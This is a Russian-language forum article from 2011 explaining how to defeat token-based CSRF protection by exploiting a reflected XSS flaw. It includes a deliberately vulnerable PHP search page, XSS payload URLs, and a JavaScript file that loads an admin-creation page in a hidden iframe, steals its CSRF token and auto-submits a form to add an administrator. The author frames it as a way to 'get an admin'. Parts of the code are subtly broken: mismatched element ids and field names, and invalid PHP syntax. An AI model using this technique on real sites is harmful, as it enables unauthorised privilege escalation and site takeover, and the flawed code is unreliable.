Авторские статьи Обход защиты от CSRF посредством XSS

Discussion in 'Статьи' started by eclipse, 5 May 2011.

  1. eclipse

    eclipse Member

    Joined:
    19 Dec 2010
    Messages:
    155
    Likes Received:
    74
    Reputations:
    85
    В этой статье я хочу рассказать о том, как можно обойти защиту от CSRF.

    Конкретизируя скажу, метод защиты который будем обходить - использование токенов.

    Этот метод защиты прост как фиг знает что:
    Сервер генерирует токен, он ставится на страницу с формами, когда юзер заполняет форму и отправляет результат серверу, там происходит проверка на идентичность токена который хранится на сервере и того что пришел от юзера, если не совпадают, запрос на выполнение действия отменяется.

    В этой статье я не буду писать что такое xss и что такое csrf, если вы не знаете про данные типы уязвимостей - гугл к вашим услугам.

    Итак, имеется некий сайт, на сайте следующие файлы:
    • index.php - главная страница с уязвимым для xss полем
    • newadmin.php - страница с формой для создания нового админа
    • compare.php - php код выполняющий указанное действие


    Содержимое этих файлов:

    index.php
    PHP:
    <html>
        <head>
            <title>
                Поиск
            </title>
        </head>
        <body>
            <?php if (isset($_POST['stext'])) echo $_POST['stext']; ?x>
            <
    form action="index.php" name="myform" method="post" >
                <
    input type="text" name="stext" value="" />
                <
    input type="submit" name="search" value="Найти"/>    
            </
    form>
        </
    body>
    </
    html>
    newadmin.php
    PHP:
    <html>
        <head>
            <title>
                Добавление нового администратора
            </title>
        </head>
        <body>
            <form action="compare.php" name="myform" method="post" >
                <input type="text" name="admin_name" value="NICK" />
                <input type="submit" name="preview" value="Создать"/>
                <input type="hidden" name="token" value="<?php echo $_SESSION['token'];?x>" /> 
    <!-- 
    приложение-обработчик ставит сюда сгенерированный токен
    !-->
            </form>
        </body>
    </html>
    compare.php
    PHP:
    <?php
        
    if (isset($_POST['admin_name'] && isset[$_POST['token']]){ 
            if (
    $_POST['token']==$_SESSION['token']) //Проверяем токен который послан из формы с тем, что у нас на сервере
                
    echo "OK" //Тут должны быть инструкции для создания админа с именем admin_name            
        
    }
    ?>
    Теперь подумаем, причем тут XSS? - А при том, что с помошью JavaScript мы можем получть доступ к исходному коду загруженной страницы, а также выполнять такие действия как например отправка формы и тп.

    Также следует учесть что наша XSS находится на том же сайте, и все что будет твориться в XSS будет таким же, как например то, что творится для авторизованного юзера у которого запущена эта XSS, т.е XSS работает от лица запустившего код пользователя (жертвы), а значит токен "в глазах" кода внедренного с помошью XSS будет таким же, каким он будет и для неосторожного но авторизованного юзера. Надеюсь вы поняли о чем я =)

    Следовательно, если мы имеем XSS, мы можем загрузить защищенную от CSRF токеном страницу в память, прочесть ее, отпарсить и вытащить токен.

    Чтобы сделать это можно использовать два варианта
    • 1.Отправить http заголовки (рефферер, куки и тд) на подготовленный скрипт, который пошлет GET запрос, прочитает ответ, и отпарсит заветный токен.
    • 2.Загрузить страницу в iframe и обратиться к объекту содержащему токен.

    Так, как первый вариант - муть и лишняя трата времени, пойдем по пути наименьшего сопротивления, т.е по рассмотрим пункт 2.

    Итак у нас есть XSS в запросе,
    Code:
    index.php?stext="><script>alert(/xss/)</script>
    Нам нужно внедрить код который будет делать то, о чем написано в названии статьи.
    Чтобы не мозолить глаза - создадим файл с именем js.js и положим туда код который будет открывать страницу newadmin.php, читать токен и передавать его на скрипт compare.php:
    PHP:
    document.write('<iframe id="hack" src="newadmin.php" width="0" height="0" onload="doit()"></iframe>');
    function 
    doit()
    {
        var 
    name ='NICK';
        var 
    token=document.getElementById("iframe").contentDocument.forms[0].token.value;
        
    document.write('<form width="0" height="0" method="post" action="compare.php">');
        
    document.write('<input type="text" name="name" value="' +name +'" /><br />');
        
    document.write('<input type="hidden" name="token" value="' +token +'" />');
        
    document.write('<input type="submit" name="submit" value="Add_admin" /><br/>');
        
    document.write('</form>');
        
    document.forms[0].submit.click();
    }
    В принципе это все, теперь вы можете обратиться по адресу
    Code:
    index.php?stext="><script src="js.js">alert(/Уря!/)</script>
    и получить админа или еще чего :)

    Вывод:
    Статья показывает что любая защита от CSRF станет бесполезной при "правильном" подходе к XSS


    P.S. В процессе написания статьи я наткнулся на аналогичное исследования некоего хакера из rstcenter.com, просмотрев его статью увидел там практически то же что делал и я, но учитывая то, что я не основывался на его статье, и моя идея пришла ко мне извне, оставляю копирайты за собой
    О rstcenter.com говорю для того, чтобы потом меня не упрекали в плагиате! Это не плагиат! Это как попов и еще какой то придумали радио одновременно! :D
    Кстати я думал перевести может его статью, но она на 80% состояла из того что такое xss и что такое csrf, а в правилах нашего форума ясно сказано - нельзя изменять статьи чужих авторов


    Короче не вините, за то, что опоздал :(

    С Уважением,
    eclipse
     
    #1 eclipse, 5 May 2011
    Last edited: 5 May 2011
    8 people like this.